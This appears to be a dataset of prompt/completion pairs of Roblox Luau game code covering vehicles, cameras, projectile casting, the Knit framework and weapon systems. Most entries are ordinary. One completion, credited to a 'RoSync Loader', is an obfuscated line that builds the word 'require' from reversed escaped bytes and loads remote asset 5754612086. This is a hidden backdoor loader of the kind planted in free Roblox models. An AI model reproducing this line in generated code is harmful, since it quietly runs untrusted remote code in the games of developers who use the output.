prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- ~15 c/s
|
while wait(.0667) do
-- Reset Throt if accelrating/not
if _ThrotActive == true then
_GThrot = 1;
else
_GThrot = _Tune.IdleThrottle/100;
end
-- Throt Cap
if (car.DriveSeat.Velocity.Magnitude > car.DriveSeat.MaxSpeed) then
_GThrot = _Tune.IdleThrottle/100
end
-- Reste brake is braking/not
if _BrakeActive == true then
_GBrake = 1;
else
_GBrake = 0;
end
-- Brake Cap
if (car.DriveSeat.Velocity.Magnitude > car.DriveSeat.MaxSpeed) then
if(_CGear > -1) then
_GBrake = 1;
else
_GBrake = 0;
end
end
--Power
Engine()
--Flip
if _Tune.AutoFlip then Flip() end
end
|
--[=[
@interface ServiceDef
.Name string
.Client table?
.Middleware Middleware?
.[any] any
@within KnitServer
Used to define a service when creating it in `CreateService`.
The middleware tables provided will be used instead of the Knit-level
middleware (if any). This allows fine-tuning each service's middleware.
These can also be left out or `nil` to not include middleware.
]=]
|
type ServiceDef = {
Name: string,
Client: {[any]: any}?,
Middleware: Middleware?,
[any]: any,
}
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 1.0 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 10 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 4.6 , -- Reverse, Neutral, and 1st gear are required
}
Tune.FDMult = 1.15 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Set up the Local Player
|
if RunService:IsClient() then
if LocalPlayer.Character then
onCharacterAdded(LocalPlayer.Character)
end
LocalPlayer.CharacterAdded:Connect(onCharacterAdded)
LocalPlayer.CharacterRemoving:Connect(onCharacterRemoving)
end
local ShoulderCamera = {}
ShoulderCamera.__index = ShoulderCamera
ShoulderCamera.SpringService = nil
function ShoulderCamera.new(weaponsSystem)
local self = setmetatable({}, ShoulderCamera)
self.weaponsSystem = weaponsSystem
-- Configuration parameters (constants)
self.fieldOfView = 70
self.minPitch = math.rad(-75) -- min degrees camera can angle down
self.maxPitch = math.rad(75) -- max degrees camera can cangle up
self.normalOffset = Vector3.new(2.25, 2.25, 10.5) -- this is the camera's offset from the player
self.zoomedOffsetDistance = 8 -- number of studs to zoom in from default offset when zooming
self.normalCrosshairScale = 1
self.zoomedCrosshairScale = 0.75
self.defaultZoomFactor = 1
self.canZoom = true
self.zoomInputs = { Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2 }
self.sprintInputs = { Enum.KeyCode.LeftShift }
self.mouseRadsPerPixel = Vector2.new(1 / 480, 1 / 480)
self.zoomedMouseRadsPerPixel = Vector2.new(1 / 1200, 1 / 1200)
self.touchSensitivity = Vector2.new(1 / 100, 1 / 100)
self.zoomedTouchSensitivity = Vector2.new(1 / 200, 1 / 200)
self.touchDelayTime = 0.25 -- max time for a touch to count as a tap (to shoot the weapon instead of control camera),
-- also the amount of time players have to start a second touch after releasing the first time to trigger automatic fire
self.recoilDecay = 2 -- higher number means faster recoil decay rate
self.rotateCharacterWithCamera = true
self.gamepadSensitivityModifier = Vector2.new(0.85, 0.65)
-- Walk speeds
self.zoomWalkSpeed = 8
self.normalWalkSpeed = 16
self.sprintingWalkSpeed = 24
-- Current state
self.enabled = false
self.yaw = 0
self.pitch = 0
self.currentCFrame = CFrame.new()
self.currentOffset = self.normalOffset
self.currentRecoil = Vector2.new(0, 0)
self.currentMouseRadsPerPixel = self.mouseRadsPerPixel
self.currentTouchSensitivity = self.touchSensitivity
self.mouseLocked = true
self.touchPanAccumulator = Vector2.new(0, 0) -- used for touch devices, represents amount the player has dragged their finger since starting a touch
self.currentTool = nil
self.sprintingInputActivated = false
self.desiredWalkSpeed = self.normalWalkSpeed
self.sprintEnabled = false -- true means player will move faster while doing sprint inputs
self.slowZoomWalkEnabled = false -- true means player will move slower while doing zoom inputs
self.desiredFieldOfView = self.fieldOfView
-- Zoom variables
self.zoomedFromInput = false -- true if player has performed input to zoom
self.forcedZoomed = false -- ignores zoomedFromInput and canZoom
self.zoomState = false -- true if player is currently zoomed in
self.zoomAlpha = 0
self.hasScope = false
self.hideToolWhileZoomed = false
self.currentZoomFactor = self.defaultZoomFactor
self.zoomedFOV = self.fieldOfView
-- Gamepad variables
self.gamepadPan = Vector2.new(0, 0) -- essentially the amount the gamepad has moved from resting position
self.movementPan = Vector2.new(0, 0) -- this is for movement (gamepadPan is for camera)
self.lastThumbstickPos = Vector2.new(0, 0)
self.lastThumbstickTime = nil
self.currentGamepadSpeed = 0
self.lastGamepadVelocity = Vector2.new(0, 0)
-- Occlusion
self.lastOcclusionDistance = 0
self.lastOcclusionReachedTime = 0 -- marks the last time camera was at the true occlusion distance
self.defaultTimeUntilZoomOut = 0
self.timeUntilZoomOut = self.defaultTimeUntilZoomOut -- time after lastOcclusionReachedTime that camera will zoom out
self.timeLastPoppedWayIn = 0 -- this holds the last time camera popped nearly into first person
self.isZoomingOut = false
self.tweenOutTime = 0.2
self.curOcclusionTween = nil
self.occlusionTweenObject = nil
-- Side correction (when player is against a wall)
self.sideCorrectionGoalVector = nil
self.lastSideCorrectionMagnitude = 0
self.lastSideCorrectionReachedTime = 0 -- marks the last time the camera was at the true correction distance
self.revertSideCorrectionSpeedMultiplier = 2 -- speed at which camera reverts the side correction (towards 0 correction)
self.defaultTimeUntilRevertSideCorrection = 0.75
self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection -- time after lastSideCorrectionReachedTime that camera will revert the correction
self.isRevertingSideCorrection = false
-- Datamodel references
self.eventConnections = {}
self.raycastIgnoreList = {}
self.currentCamera = nil
self.currentCharacter = nil
self.currentHumanoid = nil
self.currentRootPart = nil
self.controlModule = nil -- used to get player's touch input for moving character
self.random = Random.new()
return self
end
function ShoulderCamera:setEnabled(enabled)
if self.enabled == enabled then
return
end
self.enabled = enabled
if self.enabled then
RunService:BindToRenderStep(CAMERA_RENDERSTEP_NAME, Enum.RenderPriority.Camera.Value - 1, function(dt) self:onRenderStep(dt) end)
ContextActionService:BindAction(ZOOM_ACTION_NAME, function(...) self:onZoomAction(...) end, false, unpack(self.zoomInputs))
ContextActionService:BindAction(SPRINT_ACTION_NAME, function(...) self:onSprintAction(...) end, false, unpack(self.sprintInputs))
table.insert(self.eventConnections, LocalPlayer.CharacterAdded:Connect(function(character) self:onCurrentCharacterChanged(character) end))
table.insert(self.eventConnections, LocalPlayer.CharacterRemoving:Connect(function() self:onCurrentCharacterChanged(nil) end))
table.insert(self.eventConnections, workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:onCurrentCameraChanged(workspace.CurrentCamera) end))
table.insert(self.eventConnections, UserInputService.InputBegan:Connect(function(inputObj, wasProcessed) self:onInputBegan(inputObj, wasProcessed) end))
table.insert(self.eventConnections, UserInputService.InputChanged:Connect(function(inputObj, wasProcessed) self:onInputChanged(inputObj, wasProcessed) end))
table.insert(self.eventConnections, UserInputService.InputEnded:Connect(function(inputObj, wasProcessed) self:onInputEnded(inputObj, wasProcessed) end))
self:onCurrentCharacterChanged(LocalPlayer.Character)
self:onCurrentCameraChanged(workspace.CurrentCamera)
-- Make transition to shouldercamera smooth by facing in same direction as previous camera
local cameraLook = self.currentCamera.CFrame.lookVector
self.yaw = math.atan2(-cameraLook.X, -cameraLook.Z)
self.pitch = math.asin(cameraLook.Y)
self.currentCamera.CameraType = Enum.CameraType.Scriptable
self:setZoomFactor(self.currentZoomFactor) -- this ensures that zoomedFOV reflecs currentZoomFactor
workspace.CurrentCamera.CameraSubject = self.currentRootPart
self.occlusionTweenObject = Instance.new("NumberValue")
self.occlusionTweenObject.Name = "OcclusionTweenObject"
self.occlusionTweenObject.Parent = script
self.occlusionTweenObject.Changed:Connect(function(value)
self.lastOcclusionDistance = value
end)
-- Sets up weapon system to use camera for raycast direction instead of gun look vector
self.weaponsSystem.aimRayCallback = function()
local cameraCFrame = self.currentCFrame
return Ray.new(cameraCFrame.p, cameraCFrame.LookVector * 500)
end
else
RunService:UnbindFromRenderStep(CAMERA_RENDERSTEP_NAME)
ContextActionService:UnbindAction(ZOOM_ACTION_NAME)
ContextActionService:UnbindAction(SPRINT_ACTION_NAME)
if self.currentHumanoid then
self.currentHumanoid.AutoRotate = true
end
if self.currentCamera then
self.currentCamera.CameraType = Enum.CameraType.Custom
end
self:updateZoomState()
self.yaw = 0
self.pitch = 0
for _, conn in pairs(self.eventConnections) do
conn:Disconnect()
end
self.eventConnections = {}
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
UserInputService.MouseIconEnabled = true
end
end
function ShoulderCamera:onRenderStep(dt)
if not self.enabled or
not self.currentCamera or
not self.currentCharacter or
not self.currentHumanoid or
not self.currentRootPart
then
return
end
-- Hide mouse and lock to center if applicable
if self.mouseLocked and not GuiService:GetEmotesMenuOpen() then
UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter
UserInputService.MouseIconEnabled = false
else
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
UserInputService.MouseIconEnabled = true
end
-- Handle gamepad input
self:processGamepadInput(dt)
-- Smoothly zoom to desired values
if self.hasScope then
ShoulderCamera.SpringService:Target(self, 0.8, 8, { zoomAlpha = self.zoomState and 1 or 0 })
ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 8, { FieldOfView = self.desiredFieldOfView })
else
ShoulderCamera.SpringService:Target(self, 0.8, 3, { zoomAlpha = self.zoomState and 1 or 0 })
ShoulderCamera.SpringService:Target(self.currentCamera, 0.8, 3, { FieldOfView = self.desiredFieldOfView })
end
-- Handle walk speed changes
if self.sprintEnabled or self.slowZoomWalkEnabled then
self.desiredWalkSpeed = self.normalWalkSpeed
if self.sprintEnabled and (self.sprintingInputActivated or self:sprintFromTouchInput() or self:sprintFromGamepadInput()) and not self.zoomState then
self.desiredWalkSpeed = self.sprintingWalkSpeed
end
if self.slowZoomWalkEnabled and self.zoomAlpha > 0.1 then
self.desiredWalkSpeed = self.zoomWalkSpeed
end
ShoulderCamera.SpringService:Target(self.currentHumanoid, 0.95, 4, { WalkSpeed = self.desiredWalkSpeed })
end
-- Initialize variables used for side correction, occlusion, and calculating camera focus/rotation
local rootPartPos = self.currentRootPart.CFrame.Position
local rootPartUnrotatedCFrame = CFrame.new(rootPartPos)
local yawRotation = CFrame.Angles(0, self.yaw, 0)
local pitchRotation = CFrame.Angles(self.pitch + self.currentRecoil.Y, 0, 0)
local xOffset = CFrame.new(self.normalOffset.X, 0, 0)
local yOffset = CFrame.new(0, self.normalOffset.Y, 0)
local zOffset = CFrame.new(0, 0, self.normalOffset.Z)
local collisionRadius = self:getCollisionRadius()
local cameraYawRotationAndXOffset =
yawRotation * -- First rotate around the Y axis (look left/right)
xOffset -- Then perform the desired offset (so camera is centered to side of player instead of directly on player)
local cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset
-- Handle/Calculate side correction when player is adjacent to a wall (so camera doesn't go in the wall)
local vecToFocus = cameraFocus.p - rootPartPos
local rayToFocus = Ray.new(rootPartPos, vecToFocus + (vecToFocus.Unit * collisionRadius))
local hitPart, hitPoint, hitNormal = self:penetrateCast(rayToFocus, self.raycastIgnoreList)
local currentTime = tick()
local sideCorrectionGoalVector = Vector3.new() -- if nothing is adjacent to player, goal vector is (0, 0, 0)
if hitPart then
hitPoint = hitPoint + (hitNormal * collisionRadius)
sideCorrectionGoalVector = hitPoint - cameraFocus.p
if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then -- make it easy for camera to pop closer to player (move left)
if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection and self.lastSideCorrectionMagnitude ~= 0 then
self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection * 2 -- double time until revert if popping in repeatedly
elseif self.lastSideCorrectionMagnitude == 0 and self.timeUntilRevertSideCorrection ~= self.defaultTimeUntilRevertSideCorrection then
self.timeUntilRevertSideCorrection = self.defaultTimeUntilRevertSideCorrection
end
self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude
self.lastSideCorrectionReachedTime = currentTime
self.isRevertingSideCorrection = false
else
self.isRevertingSideCorrection = true
end
elseif self.lastSideCorrectionMagnitude ~= 0 then
self.isRevertingSideCorrection = true
end
if self.isRevertingSideCorrection then -- make it hard/slow for camera to revert side correction (move right)
if sideCorrectionGoalVector.Magnitude > self.lastSideCorrectionMagnitude - 1 and sideCorrectionGoalVector.Magnitude ~= 0 then
self.lastSideCorrectionReachedTime = currentTime -- reset timer if occlusion significantly increased since last frame
end
if currentTime > self.lastSideCorrectionReachedTime + self.timeUntilRevertSideCorrection then
local sideCorrectionChangeAmount = dt * (vecToFocus.Magnitude) * self.revertSideCorrectionSpeedMultiplier
self.lastSideCorrectionMagnitude = self.lastSideCorrectionMagnitude - sideCorrectionChangeAmount
if sideCorrectionGoalVector.Magnitude >= self.lastSideCorrectionMagnitude then
self.lastSideCorrectionMagnitude = sideCorrectionGoalVector.Magnitude
self.lastSideCorrectionReachedTime = currentTime
self.isRevertingSideCorrection = false
end
end
end
-- Update cameraFocus to reflect side correction
cameraYawRotationAndXOffset = cameraYawRotationAndXOffset + (-vecToFocus.Unit * self.lastSideCorrectionMagnitude)
cameraFocus = rootPartUnrotatedCFrame * cameraYawRotationAndXOffset
self.currentCamera.Focus = cameraFocus
-- Calculate and apply CFrame for camera
local cameraCFrameInSubjectSpace =
cameraYawRotationAndXOffset *
pitchRotation * -- rotate around the X axis (look up/down)
yOffset * -- move camera up/vertically
zOffset -- move camera back
self.currentCFrame = rootPartUnrotatedCFrame * cameraCFrameInSubjectSpace
-- Move camera forward if zoomed in
if self.zoomAlpha > 0 then
local trueZoomedOffset = math.max(self.zoomedOffsetDistance - self.lastOcclusionDistance, 0) -- don't zoom too far in if already occluded
self.currentCFrame = self.currentCFrame:lerp(self.currentCFrame + trueZoomedOffset * self.currentCFrame.LookVector.Unit, self.zoomAlpha)
end
self.currentCamera.CFrame = self.currentCFrame
-- Handle occlusion
local occlusionDistance = self.currentCamera:GetLargestCutoffDistance(self.raycastIgnoreList)
if occlusionDistance > 1e-5 then
occlusionDistance = occlusionDistance + collisionRadius
end
if occlusionDistance >= self.lastOcclusionDistance then -- make it easy for the camera to pop in towards the player
if self.curOcclusionTween ~= nil then
self.curOcclusionTween:Cancel()
self.curOcclusionTween = nil
end
if currentTime > self.lastOcclusionReachedTime + self.timeUntilZoomOut and self.lastOcclusionDistance ~= 0 then
self.timeUntilZoomOut = self.defaultTimeUntilZoomOut * 2 -- double time until zoom out if popping in repeatedly
elseif self.lastOcclusionDistance == 0 and self.timeUntilZoomOut ~= self.defaultTimeUntilZoomOut then
self.timeUntilZoomOut = self.defaultTimeUntilZoomOut
end
if occlusionDistance / self.normalOffset.Z > 0.8 and self.timeLastPoppedWayIn == 0 then
self.timeLastPoppedWayIn = currentTime
end
self.lastOcclusionDistance = occlusionDistance
self.lastOcclusionReachedTime = currentTime
self.isZoomingOut = false
else -- make it hard/slow for camera to zoom out
self.isZoomingOut = true
if occlusionDistance > self.lastOcclusionDistance - 2 and occlusionDistance ~= 0 then -- reset timer if occlusion significantly increased since last frame
self.lastOcclusionReachedTime = currentTime
end
-- If occlusion pops camera in to almost first person for a short time, pop out instantly
if currentTime < self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.lastOcclusionDistance / self.normalOffset.Z > 0.8 then
self.lastOcclusionDistance = occlusionDistance
self.lastOcclusionReachedTime = currentTime
self.isZoomingOut = false
elseif currentTime >= self.timeLastPoppedWayIn + self.defaultTimeUntilZoomOut and self.timeLastPoppedWayIn ~= 0 then
self.timeLastPoppedWayIn = 0
end
end
-- Update occlusion amount if timeout time has passed
if currentTime >= self.lastOcclusionReachedTime + self.timeUntilZoomOut and not self.zoomState then
if self.curOcclusionTween == nil then
self.occlusionTweenObject.Value = self.lastOcclusionDistance
local tweenInfo = TweenInfo.new(self.tweenOutTime)
local goal = {}
goal.Value = self.lastOcclusionDistance - self.normalOffset.Z
self.curOcclusionTween = TweenService:Create(self.occlusionTweenObject, tweenInfo, goal)
self.curOcclusionTween:Play()
end
end
-- Apply occlusion to camera CFrame
local currentOffsetDir = self.currentCFrame.LookVector.Unit
self.currentCFrame = self.currentCFrame + (currentOffsetDir * self.lastOcclusionDistance)
self.currentCamera.CFrame = self.currentCFrame
-- Apply recoil decay
self.currentRecoil = self.currentRecoil - (self.currentRecoil * self.recoilDecay * dt)
if self:isHumanoidControllable() and self.rotateCharacterWithCamera then
self.currentHumanoid.AutoRotate = false
self.currentRootPart.CFrame = CFrame.Angles(0, self.yaw, 0) + self.currentRootPart.Position -- rotate character to be upright and facing the same direction as camera
self:applyRootJointFix()
else
self.currentHumanoid.AutoRotate = true
end
self:handlePartTransparencies()
self:handleTouchToolFiring()
end
|
-- Ctor
|
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast
if typeof(velocity) == "number" then
velocity = direction.Unit * velocity
end
-- Basic setup
local cast = {
Caster = caster,
-- Data that keeps track of what's going on as well as edits we might make during runtime.
StateInfo = {
UpdateConnection = nil,
Paused = false,
TotalRuntime = 0,
DistanceCovered = 0,
IsActivelySimulatingPierce = false,
Trajectories = {
{
StartTime = 0,
EndTime = -1,
Origin = origin,
InitialVelocity = velocity,
Acceleration = castDataPacket.Acceleration
}
}
},
-- Information pertaining to actual raycasting.
RayInfo = {
Parameters = castDataPacket.RaycastParams,
WorldRoot = workspace,
MaxDistance = castDataPacket.MaxDistance or 1000,
CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate,
CanPierceCallback = castDataPacket.CanPierceFunction
},
UserData = {}
}
if cast.RayInfo.Parameters ~= nil then
cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters)
end
if cast.RayInfo.CosmeticBulletObject ~= nil then
cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone()
cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer
end
if castDataPacket.AutoIgnoreContainer == true and castDataPacket.CosmeticBulletContainer ~= nil then
local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances
if table.find(ignoreList, castDataPacket.CosmeticBulletContainer) == nil then
table.insert(ignoreList, castDataPacket.CosmeticBulletContainer)
cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList
end
end
local event
if RunService:IsClient() then
event = RunService.RenderStepped
else
event = RunService.Heartbeat
end
event:wait()
cast.StateInfo.UpdateConnection = event:Connect(function (delta)
if cast.StateInfo.Paused then return end
SimulateCast(cast, delta)
end)
return setmetatable(cast, ActiveCastStatic)
end
function ActiveCastStatic.SetStaticFastCastReference(ref)
FastCast = ref
end
|
--//Created by PlaasBoer
--Version 3.3.0
--If you find a bug comment on my video for Zed's tycoon save
--Link to my channel
--[[
https://www.youtube.com/channel/UCHIypUw5-7noRfLJjczdsqw
]]
|
--
local tycoonsFolder = script.Parent:WaitForChild("Tycoons")
local tycoons = tycoonsFolder:GetChildren()
|
-- Initialize the tool
|
local MeshTool = {
Name = 'Mesh Tool';
Color = BrickColor.new 'Bright violet';
-- State
CurrentType = nil;
-- Signals
OnTypeChanged = Signal.new();
}
MeshTool.ManualText = [[<font face="GothamBlack" size="16">Mesh Tool 🛠</font>
Lets you add meshes to parts.<font size="6"><br /></font>
<b>TIP:</b> You can paste the link to anything with a mesh (e.g. a hat, gear, etc) and it will automatically find the right mesh and texture IDs.<font size="6"><br /></font>
<b>NOTE:</b> If HttpService is not enabled, you must type the mesh or image asset ID directly.]]
|
-- время до уничтожения построек вышедшего игрока в секундах
-- 8 дней по 24 часа по 60 минут по 60 секунд
|
local DD = 7
local HH = 23
local MM = 59
local SS = 59
period = DD*24*60*60 + HH*60*60 + MM*60 + SS
wait(period)
gamer = me.Parent.Name
if game.Players:FindFirstChild(gamer) then
script.Parent = nil -- если игрок есть, уничтожаем скрипт
else
me.Parent = nil -- игрока нет, уничтожаем всю его папку
end
|
--Turn this to true to make the shift lock cursor thing appear at the center.
|
local SHOW_CENTER_CURSOR = false
|
--Creates a remote function.
|
function RemoteEventCreator:CreateRemoteFunction(Name)
--Warn if an item with that name exists.
if Tool:FindFirstChild(Name) then
warn("Conflicting item "..Name.." exists in "..Tool:GetFullName())
end
--Create and return the remote function.
local RemoteFunction = Instance.new("RemoteFunction")
RemoteFunction.Name = Name
RemoteFunction.Parent = Tool
return RemoteFunction
end
|
-- SoundModule.PlaySoundLocally("Click5")
|
local result = Rep.Relay.Currency.ClaimFreeGems:InvokeServer()
if result then
local screenPos = Vector2.new(button.AbsolutePosition.X,button.AbsolutePosition.Y)
GC.EarnGemsEffect(screenPos)
end
end)
|
--!strict
-- upstream: https://github.com/facebook/react/blob/a774502e0ff2a82e3c0a3102534dbc3f1406e5ea/packages/shared/getComponentName.js
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
]]
|
type Function = (...any) -> ...any
local console = require(script.Parent.console)
|
--[=[
@return Promise
Starts Knit. Should only be called once per client.
```lua
Knit.Start():andThen(function()
print("Knit started!")
end):catch(warn)
```
By default, service methods exposed to the client will return promises.
To change this behavior, set the `ServicePromises` option to `false`:
```lua
Knit.Start({ServicePromises = false}):andThen(function()
print("Knit started!")
end):catch(warn)
```
]=]
|
function KnitClient.Start(options: KnitOptions?)
if started then
return Promise.reject("Knit already started")
end
started = true
if options == nil then
selectedOptions = defaultOptions
else
assert(typeof(options) == "table", "KnitOptions should be a table or nil; got " .. typeof(options))
selectedOptions = options
for k,v in pairs(defaultOptions) do
if selectedOptions[k] == nil then
selectedOptions[k] = v
end
end
end
if type(selectedOptions.PerServiceMiddleware) ~= "table" then
selectedOptions.PerServiceMiddleware = {}
end
return Promise.new(function(resolve)
-- Init:
local promisesStartControllers = {}
for _,controller in pairs(controllers) do
if type(controller.KnitInit) == "function" then
table.insert(promisesStartControllers, Promise.new(function(r)
controller:KnitInit()
r()
end))
end
end
resolve(Promise.all(promisesStartControllers))
end):andThen(function()
-- Start:
for _,controller in pairs(controllers) do
if type(controller.KnitStart) == "function" then
task.spawn(controller.KnitStart, controller)
end
end
startedComplete = true
onStartedComplete:Fire()
task.defer(function()
onStartedComplete:Destroy()
end)
end)
end
|
--// Dump log on disconnect
|
local isStudio = game:GetService("RunService"):IsStudio()
game:GetService("NetworkClient").ChildRemoved:Connect(function(p)
if not isStudio then
warn("~! PLAYER DISCONNECTED/KICKED! DUMPING ADONIS CLIENT LOG!");
dumplog();
end
end)
local unique = {}
local origEnv = getfenv();
setfenv(1,setmetatable({}, {__metatable = unique}))
|
--script.Parent.Decal.Transparency = 1
--script.Disabled = true
--script.Parent.ClickDetector.MaxActivationDistance = 1
| |
--[[ By: Brutez. ]]--
--[[ Last synced 11/13/2020 10:32 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
-- Module Scripts
|
local moduleScripts = ServerStorage.ModuleScripts
local gameSettings = require(moduleScripts.GameSettings)
local leaderboardManager = require(moduleScripts.LeaderboardManager)
local mapManager = require(moduleScripts.MapManager)
|
-- Setup animation objects
|
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
else
if child:isA("StringValue") then
animNames[child.Name] = {}
configureAnimationSet(child.Name, animNames[child.Name])
end
end
end
script.ChildAdded:connect(scriptChildModified)
script.ChildRemoved:connect(scriptChildModified)
|
--// Char Parts
|
local Humanoid = char:WaitForChild('Humanoid')
local Head = char:WaitForChild('Head')
local Torso = char:WaitForChild('Torso')
local HumanoidRootPart = char:WaitForChild('HumanoidRootPart')
local RootJoint = HumanoidRootPart:WaitForChild('RootJoint')
local Neck = Torso:WaitForChild('Neck')
local Right_Shoulder = Torso:WaitForChild('Right Shoulder')
local Left_Shoulder = Torso:WaitForChild('Left Shoulder')
local Right_Hip = Torso:WaitForChild('Right Hip')
local Left_Hip = Torso:WaitForChild('Left Hip')
local YOffset = Neck.C0.Y
local WaistYOffset = Neck.C0.Y
local CFNew, CFAng = CFrame.new, CFrame.Angles
local Asin = math.asin
local T = 0.15
User.MouseIconEnabled = true
plr.CameraMode = Enum.CameraMode.Classic
cam.CameraType = Enum.CameraType.Custom
cam.CameraSubject = Humanoid
if gameRules.TeamTags then
local tag = Essential.TeamTag:clone()
tag.Parent = char
tag.Disabled = false
end
local ShellFolder = Instance.new("Folder",ACS_Workspace)
ShellFolder.Name = "Casings"
local Limit = gameRules.ShellLimit
local PhysService = game:GetService("PhysicsService")
function CreateShell(Shell,Origin)
Evt.Shell:FireServer(Shell,Origin.WorldCFrame,WeaponData.EjectionOverride)
end
function SetWalkSpeed(Speed)
if gameRules.WeaponWeight and WeaponInHand and WeaponData.WeaponWeight then
if Speed - WeaponData.WeaponWeight < 1 then
char:WaitForChild("Humanoid").WalkSpeed = 1
else
char:WaitForChild("Humanoid").WalkSpeed = Speed - WeaponData.WeaponWeight
end
else
char:WaitForChild("Humanoid").WalkSpeed = Speed
end
end
Evt.Shell.OnClientEvent:Connect(function(Shell,Origin,Override)
local Distance = (char.Torso.Position - Origin.Position).Magnitude
local shellFolder
if Engine.AmmoModels:FindFirstChild(Shell) then
shellFolder = Engine.AmmoModels:FindFirstChild(Shell)
else
shellFolder = Engine.AmmoModels.Default
end
local shellStats = require(shellFolder.EjectionForce)
if Distance < 100 then
local NewShell = shellFolder.Casing:Clone()
NewShell.Parent = ShellFolder
NewShell.Anchored = false
NewShell.CanCollide = true
NewShell.CFrame = Origin * CFrame.Angles(0,math.rad(0),0)
NewShell.Name = Shell.."_Casing"
NewShell.CastShadow = false
NewShell.CustomPhysicalProperties = shellStats.PhysProperties
PhysService:SetPartCollisionGroup(NewShell,"Casings")
local Att = Instance.new("Attachment",NewShell)
Att.Position = shellStats.ForcePoint
local ShellForce = Instance.new("VectorForce",NewShell)
ShellForce.Visible = false
if Override then
ShellForce.Force = Override
else
ShellForce.Force = shellStats.CalculateForce()
end
ShellForce.Attachment0 = Att
Debris:AddItem(ShellForce,0.01)
if #ShellFolder:GetChildren() > Limit then
ShellFolder:GetChildren()[math.random(#ShellFolder:GetChildren()/2,#ShellFolder:GetChildren())]:Destroy()
end
--NewShell.Touched:Connect(function(partTouched)
-- if NewShell.AssemblyLinearVelocity.Magnitude > 20 and not partTouched:IsDescendantOf(char) and partTouched.CanCollide then
-- local NewSound = NewShell.Drop:Clone()
-- NewSound.Parent = NewShell
-- NewSound.PlaybackSpeed = math.random(30,50)/40
-- NewSound:Play()
-- NewSound.PlayOnRemove = true
-- NewSound:Destroy()
-- Debris:AddItem(NewSound,2)
-- end
--end)
if gameRules.ShellDespawn > 0 then Debris:AddItem(NewShell,gameRules.ShellDespawn) end
wait(0.25)
if NewShell and NewShell:FindFirstChild("Drop") then
local NewSound = NewShell.Drop:Clone()
NewSound.Parent = NewShell
NewSound.PlaybackSpeed = math.random(30,50)/40
NewSound:Play()
NewSound.PlayOnRemove = true
NewSound:Destroy()
Debris:AddItem(NewSound,2)
end
end
end)
function handleAction(actionName, inputState, inputObject)
if PreviousTool and canDrop and actionName == "DropWeapon" and inputState == Enum.UserInputState.Begin and gameRules.WeaponDropping then
Evt.DropWeapon:FireServer(PreviousTool,require(PreviousTool.ACS_Settings))
canDrop = false
end
if actionName == "Fire" and inputState == Enum.UserInputState.Begin and AnimDebounce then
Shoot()
if WeaponData and WeaponData.Type == "Grenade" then
CookGrenade = true
Grenade()
end
elseif actionName == "Fire" and inputState == Enum.UserInputState.End then
mouse1down = false
CookGrenade = false
end
if actionName == "Reload" and inputState == Enum.UserInputState.Begin and AnimDebounce and not CheckingMag and not reloading then
if WeaponData.Jammed then
Jammed()
else
Reload()
end
end
if actionName == "Reload" and inputState == Enum.UserInputState.Begin and reloading and WeaponData.ShellInsert then
CancelReload = true
end
if actionName == "CycleLaser" and inputState == Enum.UserInputState.Begin and LaserAtt then
SetLaser()
end
if actionName == "CycleLight" and inputState == Enum.UserInputState.Begin and TorchAtt then
SetTorch()
end
if actionName == "CycleFiremode" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.FireModes.ChangeFiremode then
Firemode()
end
if actionName == "CycleAimpart" and inputState == Enum.UserInputState.Begin then
SetAimpart()
end
if actionName == "ZeroUp" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then
if WeaponData.CurrentZero < WeaponData.MaxZero then
WeaponInHand.Handle.Click:play()
WeaponData.CurrentZero = math.min(WeaponData.CurrentZero + WeaponData.ZeroIncrement, WeaponData.MaxZero)
UpdateGui()
end
end
if actionName == "ZeroDown" and inputState == Enum.UserInputState.Begin and WeaponData and WeaponData.EnableZeroing then
if WeaponData.CurrentZero > 0 then
WeaponInHand.Handle.Click:play()
